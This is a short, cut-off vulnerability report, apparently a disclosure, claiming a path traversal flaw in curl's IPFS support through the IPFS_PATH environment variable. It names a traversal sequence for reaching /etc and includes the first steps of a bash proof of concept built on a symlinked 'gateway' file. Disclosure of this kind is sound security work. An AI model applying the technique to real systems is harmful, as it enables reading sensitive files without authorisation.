Path Traversal Vulnerability in curl via Unsanitized IPFS_PATH Environment Variable

A path traversal vulnerability exists in curl versions with IPFS support (7.81.0+). The IPFS_PATH environment variable is not properly sanitized, allowing attackers to read arbitrary files by manipulating directory traversal sequences (e.g., ../../../../etc). This flaw enables leakage of sensitive …

  #!/bin/bash

 # 1. Create test file with unique URL-like content
 TEST_CONTENT="http://LEAKED_DATA_$(date +%s).invalid"
 echo "$TEST_CONTENT" > /tmp/test_file.txt

 # 2. Setup exploit
 EXPLOIT_DIR=$(mktemp -d)
 ln -sf /tmp/test_file.txt "$EXPLOIT_DIR/gateway"
 export IPFS_PATH="$EXPLOIT_DIR"

 # …